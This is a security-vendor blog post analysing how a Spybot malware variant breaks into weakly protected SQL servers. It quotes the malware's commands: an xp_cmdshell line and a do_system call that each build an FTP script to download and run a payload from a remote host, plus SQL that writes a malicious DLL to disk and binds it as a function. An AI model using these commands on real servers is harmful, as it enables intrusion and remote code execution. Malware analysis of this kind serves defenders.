Video Screencast Help
Search Video Help Close Back
to help
New in the Rewards Catalog: Vouchers for "Symantec Technical Specialist" and "Symantec Certified Specialist" exams.

SQL Servers Still a Good Target, Says Spybot

Updated: 29 Jun 2009
Andrea Lelli's picture
0 0 Votes
Login to vote

We have already seen malicious code using SQL as a spreading vector—you may remember the case of Trojan.Eskiuel. Unfortunately, it is not a rare case. Lately I have been seeing malware trying to exploit SQL servers in several ways, which shows that they still pose a good target for attackers. I came across a popular Spybot variant that (among all of its features) has the capability of attacking SQL servers, too, possibly by exploiting weak passwords and gaining administrator access to the server. The interesting thing, again, is that once the SQL server is successfully attacked, it can be used to gain control of the whole machine by escalating root privileges.

As for Trojan.Eskiuel, the aim of Spybot is to find a SQL server that is poorly configured with weak/empty passwords or with incorrect privilege accesses. The first stage of the attack consists of finding an available SQL server, then trying to bruteforce weak passwords in order to try and get administrator access to the server.

The SQL server itself would not be enough for the attack to be successful: the second stage of the attack consists of exploiting SQL functionalities in order to drop and execute malicious code on the machine, which will give the attacker the root privilege. Depending on the type of the SQL server, the Spybot tries two different approaches in order to run arbitrary commands by exploiting SQL functionalities.

The usual way

A common attack is to check if the xp_cmdshell procedure (see documentation) has not been disabled on the SQL server. In this case, the attack can be carried out easily:

 

EXEC master..xp_cmdshell 'del eq&echo open %s %d >> eq&echo user %d %d >> eq &echo get %s >> eq &echo quit >> eq &ftp -n -s:eq &%s&del eq

And, new malware is downloaded and executed on the local machine.
 

 

The funny way

The xp_cmdshell is not always available on all SQL server engines, so Spybot must have another arrow in its bow in order to spread on as many servers as possible! It all begins with a simple CREATE query:

 

CREATE TABLE clown (line BLOB);

Spybot creates a new table in the database in order to make room for its own malicious code. This code is inserted into the table via the INSERT query:

INSERT INTO clown (line) VALUES (0x4D5A9000 …. );

This data is the hexadecimal representation of the beginning of a dll (the rest of the data has been omitted). At this stage the malicious dll has been successfully injected into the SQL server, but it is still harmless. Unless it could be dropped on the local file system of course! And that is exactly what happens:
   

SELECT * FROM clown INTO DUMPFILE ‘c:\windows\system32\clown.dll’;

This query causes the malicious dll data to be written on the local file system. In this case the file is a dll that exports a function named do_system. Spybot tries to drop the dll in several different locations, depending on where Windows is installed.

We’ve come a long way already. Spybot attacked the SQL server, gained access to it, injected a malicious dll into it, and was able to successfully move the dll from the database to the local file system. So, the last thing left to do is to run it—and here we go:

CREATE FUNCTION do_system RETURNS integer SONAME ‘clown.dll’;

Spybot defines a new custom procedure in the SQL server, and it binds it to the dll that was just dropped (as I said above, do_system is the name of the function exported by the dll). And lo and behold, it is finally called:

SELECT do_system("cmd.exe /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &echo quit >> o &ftp -n -s:o &del /F /Q o &%s");

This SELECT query causes the SQL server to call the function do_system in the clown.dll that was previously dropped on the local file system. The string passed in the round brackets is the parameter that will be passed to the do_system function. Of course, the dll has been specifically crafted in order to receive and process such commands; in fact the do_system function is just a remainder to the system function that executes the commands in the string passed as a parameter. In particular, here Spybot is causing an ftp program to be run on the machine in order to download and run malicious code.

So, be careful: nothing is immune from attacks. Always remember to use strong passwords and to configure your machines and services by removing any unnecessary features and permissions.